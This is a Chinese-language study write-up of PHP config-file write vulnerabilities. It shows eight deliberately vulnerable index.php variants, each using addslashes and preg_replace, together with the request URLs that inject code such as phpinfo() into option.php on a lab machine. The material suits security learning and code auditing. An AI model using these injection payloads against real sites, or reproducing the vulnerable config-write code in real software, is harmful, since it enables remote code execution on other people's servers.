寫配置漏洞與幾種變形學習

前言

前段時間在代碼審計時候發現了一些寫配置的漏洞,今天正好看到了這個文章,做一下學習

0×01 基礎版

特點:正則貪婪模式、無s單行模式:
option.php以下無特殊說明,都以此文件爲配置文件

<?php
$API1 = '12123';
$API = '12123';
?>

index.php

<?php
if(isset($_GET['api']))
{
    $api = addslashes($_GET['api']);
    $file = file_get_contents('./option.php');
    $file = preg_replace("/\\\$API = '.*';/", "\$API = '{$api}';", $file);
    file_put_contents('./option.php', $file);
}
?>

傳入參數http://192.168.164.138:89/?api=aaaaa%27;%0aphpinfo();//
通過debug可以看到傳入參數的內容
在這裏插入圖片描述
寫入的配置文件

<?php
$API1 = '12123';
$API = 'aaaaa\';
phpinfo();//';
?>

可以看到$API參數確實是我們傳入的參數,沒有寫入shell
但是再次傳參http://192.168.164.138:89/?api=aaaaa
因爲正則匹配的是兩個單引號中間的內容,即aaaa\,用aaaa替換後即可成功寫入shell
在這裏插入圖片描述

0×02 單行模式:

基礎版使用換行繞過,所以開發者給正則添加了s修飾符,防止換行繞過。
index.php

<?php
if(isset($_GET['api']))
{
    $api = addslashes($_GET['api']);
    $file = file_get_contents('./option.php');
    $file = preg_replace("/\\\$API = '.*';/s", "\$API = '{$api}';", $file);
    file_put_contents('./option.php', $file);
}
?>

http://192.168.164.138:89/?api=;phpinfo();
http://192.168.164.138:89/?api=$0
執行完第一條之後

<?php
$API1 = '12123';
$API = ';phpinfo();';
?>

第二條執行了$0參數,在php中$0表示保存完整模式的所有匹配
對於

$file = preg_replace("/\\\$API = '.*';/s", "\$API = '{$api}';", $file);

傳入了$0就相當於把對應位置替換成$API = ';phpinfo();'即寫入的代碼爲

<?php
$API1 = '12123';
$API = '$API = ';phpinfo();';';
?>

如果配置文件裏是define這樣還包含其他單引號的語句,將會導致寫入的配置文件格式錯誤

0×03 基礎版非貪婪模式

<?php
if(isset($_GET['api']))
{
    $api = addslashes($_GET['api']);
    //echo "\$API = '{$api}';";
    $file = file_get_contents('./option.php');
    $file = preg_replace("/\\\$API = '.*?';/", "\$API = '{$api}';", $file);
    file_put_contents('./option.php', $file);
}
?>

這個增加了?限定符匹配到0次或者一次即可成功,用前面的方法即可繞過。

0×04 單行非貪婪模式

正則是非貪婪模式,且增加了s修飾符:

<?php
if(isset($_GET['api']))
{
    $api = addslashes($_GET['api']);
    $file = file_get_contents('./option.php');
    $file = preg_replace("/\\\$API = '.*?';/s", "\$API = '{$api}';", $file);
    file_put_contents('./option.php', $file);
}
?>

因爲這裏使用了非貪婪模式,即我們寫入的文件爲$API = '1213232\'';時,他會匹配到$API = '1213232\'截至,那麼這樣就和0×01差不多,去掉%0a即可
http://192.168.164.138:89/?api=aaaaa%27;phpinfo();//
http://192.168.164.138:89/?api=aaaaa

0×05 define基礎版

給define基礎版加上s修飾符:
option.php

<?php
define('API1', '123132');
define('API', '132123');
?>

index.php

<?php
if(isset($_GET['api']))
{
    $api = addslashes($_GET['api']);
    $file = file_get_contents('./option.php');
    $file = preg_replace("/define\('API', '.*'\);/", "define('API', '{$api}');", $file);
    file_put_contents('./option.php', $file);
}
?>

這個和0x0類似,傳入
http://192.168.164.138:89/?api=aaaaa%27);%0aphpinfo();//
http://192.168.164.138:89/?api=aaaaa
即可寫入

0×06 define單行版

加入了s修飾符

<?php
if(isset($_GET['api']))
{
    $api = addslashes($_GET['api']);
    $file = file_get_contents('./option.php');
    $file = preg_replace("/define\('API', '.*'\);/s", "define('API', '{$api}');", $file);
    file_put_contents('./option.php', $file);
}
?>

這裏如果用0x02的方法會造成結構損壞,所以要換一種思路
http://192.168.164.138:89/?api=aaaaa\%27);phpinfo();//
可以看到
在這裏插入圖片描述
這裏呢因爲傳入的\'經過addslashes()轉義之後變成\\\'到了下面的preg_replace在替換的時候會吃掉轉義符,利用這個特點,即可"吃掉"一個\變成\\'寫入配置文件就會變成

define('API', 'aaa\\');phpinfo();//');

0×07 define基礎版非貪婪模式

define版本的非貪婪模式,但沒有s修飾符:

<?php
if(isset($_GET['api']))
{
    $api = addslashes($_GET['api']);
    $file = file_get_contents('./option.php');
    $file = preg_replace("/define\('API', '.*?'\);/", "define('API', '{$api}');", $file);
    file_put_contents('./option.php', $file);
}
?>

這個呢和0x01差不多
http://192.168.164.138:89/?api=aaaaa%27);%0aphpinfo();//
http://192.168.164.138:89/?api=aaaaa
即可繞過

0×08 define單行非貪婪模式

在0×07的基礎上再加上s修飾符:

<?php
if(isset($_GET['api']))
{
    $api = addslashes($_GET['api']);
    $file = file_get_contents('./option.php');
    $file = preg_replace("/define\('API', '.*?'\);/s", "define('API', '{$api}');", $file);
    file_put_contents('./option.php', $file);
}
?>

這個類似0x04只不過多了),傳入即可
http://192.168.164.138:89/?api=aaaaa%27);%0aphpinfo();//
http://192.168.164.138:89/?api=aaaaa

參考文章

https://www.freebuf.com/vuls/236655.html
http://m.imooc.com/qadetail/161079
https://www.cnblogs.com/520yang/articles/7473596.html

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章